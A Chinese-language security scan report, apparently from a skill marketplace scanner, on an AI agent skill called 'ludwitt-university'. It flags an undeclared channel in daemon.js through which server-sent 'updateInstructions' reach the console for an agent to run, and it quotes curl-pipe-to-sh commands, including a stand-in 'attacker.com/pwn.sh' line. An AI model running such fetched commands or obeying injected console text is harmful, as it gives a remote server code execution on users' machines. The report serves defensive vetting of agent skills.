安全决策报告

ludwitt-university

通过 updateInstructions 机制实现远程代码执行(RCE),SKILL.md 完全未声明此阴影功能,服务器可随时注入任意 shell 命令

安装决策优先 来源: ClawHub 扫描时间: 2026/4/12
文件 4
IOC 6
越权项 4
发现 6
最直接的威胁证据
严重 代码执行
updateInstructions 远程代码执行通道

daemon.js 在 checkUpdateAvailable() 函数中,当服务器返回 apiVersion 时,会输出服务器提供的 updateInstructions。若服务器返回 'curl -sSL https://opensource.ludwitt.com/install | sh' 等命令,该命令会被打印到控制台,agent 可能执行。SKILL.md 完全未声明此更新机制。

daemon.js:42

为什么得出这个结论

3/4 个维度触发
阻止
声明与实际能力

发现 4 项声明之外的能力或越权行为。

阻止
隐藏执行与外联

提取到 1 个高危 IOC 或外联信号。

阻止
攻击链与高危发现

报告包含 5 步攻击链,另有 4 项高危或严重发现。

复核
依赖与供应链卫生

没有完整依赖信息,供应链判断需要保留弹性。

攻击链

01
Agent 安装 skill,被描述为合法的大学课程学习平台

初始入口 · SKILL.md:1

02
运行 install.sh,检测 agent 框架环境变量并注册到 ludwitt.com

权限提升 · install.sh:66

03
Daemon 启动后每10分钟轮询服务器状态

权限提升 · daemon.js:175

04
服务器在响应中注入 updateInstructions 字段(如 'curl https://attacker.com/pwn.sh | sh')

最终危害 · daemon.js:42

05
恶意指令被打印到控制台,AI agent 可能将其作为系统指令执行,完成 RCE

最终危害 · daemon.js:42

风险分是怎么被拉高的

未声明的远程代码执行通道 +40

SKILL.md未声明updateInstructions机制,但daemon.js:42暴露了该通道

服务器控制台输出指令可被替换 +20

服务器返回updateInstructions字段可包含任意shell命令

curl|sh管道执行 +15

daemon.js:42 和多处 install.sh 中使用 curl | sh

最关键的证据

严重 代码执行

updateInstructions 远程代码执行通道

daemon.js 在 checkUpdateAvailable() 函数中,当服务器返回 apiVersion 时,会输出服务器提供的 updateInstructions。若服务器返回 'curl -sSL https://opensource.ludwitt.com/install | sh' 等命令,该命令会被打印到控制台,agent 可能执行。SKILL.md 完全未声明此更新机制。

daemon.js:42
完全移除 updateInstructions 功能,或将其设为仅显示不可执行的通知
高危 文档欺骗

SKILL.md 未声明更新/远程执行能力

SKILL.md 仅描述为大学课程学习平台,完全未提及任何更新机制。但 daemon.js 存在 checkUpdateAvailable() 和 updateInstructions 逻辑,存在严重文档-行为不符

SKILL.md:1
明确声明所有网络能力和更新机制
高危 持久化

安装时修改 shell 配置文件添加 PATH

install.sh 会自动修改 ~/.zshrc 或 ~/.bashrc,在 PATH 中添加 ~/.ludwitt/bin。SKILL.md 未声明此持久化行为

install.sh:170
在文档中明确声明 PATH 修改行为,或改用 profile.d
高危 凭证窃取

API密钥和指纹存储在明文文件

auth.json 包含 agentId、apiKey、fingerprint,chmod 600 仅保护文件权限,但数据以明文存储且持续保留在磁盘

install.sh:123
评估是否需要长期存储密钥,考虑使用密钥链或临时存储
中危 权限提升

Agent框架检测覆盖多个AI平台

install.sh 检测 OPENCLAW_STATE_DIR、~/.openclaw、CURSOR_SESSION_ID、~/.cursor、CLAUDE_CODE_SESSION 等多个AI框架环境变量和目录,收集情报超出功能必要范围

install.sh:66
仅检测必要框架,移除过度收集行为
中危 供应链

安装脚本来源单一且无代码签名验证

curl -sSL https://opensource.ludwitt.com/install | sh 直接从单一来源下载并执行脚本,无版本锁定、无签名验证

install.sh:2
使用 ClawHub/GitHub 克隆方式替代直接管道执行

声明能力 vs 实际能力

文件系统 阻止
声明 READ
推断 WRITE
install.sh:170-180 创建系统服务文件
命令执行 阻止
声明 NONE
推断 WRITE
daemon.js:42 updateInstructions机制可注入任意命令
环境变量 阻止
声明 NONE
推断 READ
install.sh:66-79 遍历检测多个AI框架环境变量
网络访问 阻止
声明 READ
推断 WRITE
install.sh:89-100 POST注册数据到外部API

可疑产物与外联

严重 危险命令
curl -sSL https://opensource.ludwitt.com/install | sh

daemon.js:42

中危 外部 URL
https://your-deployed-app.vercel.app

README.md:181

中危 外部 URL
https://www.youtube.com/watch?v=...

README.md:183

中危 外部 URL
https://opensource.ludwitt.com

README.md:237

中危 外部 URL
https://opensource.ludwitt.com/install

daemon.js:42

中危 外部 URL
http://www.apple.com/DTDs/PropertyList-1.0.dtd

install.sh:216

依赖与供应链

没有结构化依赖告警。

文件构成

4 个文件 · 1577 行
JavaScript 1 个文件 · 728 行Markdown 2 个文件 · 526 行Shell 1 个文件 · 323 行
需关注文件 · 4
daemon.js JavaScript · 728 行
updateInstructions 远程代码执行通道 · curl -sSL https://opensource.ludwitt.com/install | sh · https://opensource.ludwitt.com/install
install.sh Shell · 323 行
安装时修改 shell 配置文件添加 PATH · API密钥和指纹存储在明文文件 · Agent框架检测覆盖多个AI平台 · 安装脚本来源单一且无代码签名验证 · http://www.apple.com/DTDs/PropertyList-1.0.dtd
README.md Markdown · 263 行
https://your-deployed-app.vercel.app · https://www.youtube.com/watch?v=... · https://opensource.ludwitt.com
SKILL.md Markdown · 263 行
SKILL.md 未声明更新/远程执行能力

安全亮点

代码结构清晰,有完整的错误处理和重试机制
敏感文件 auth.json 设置了 600 权限
CLI 参数解析逻辑完整
支持多种服务管理器(launchd/systemd)的持久化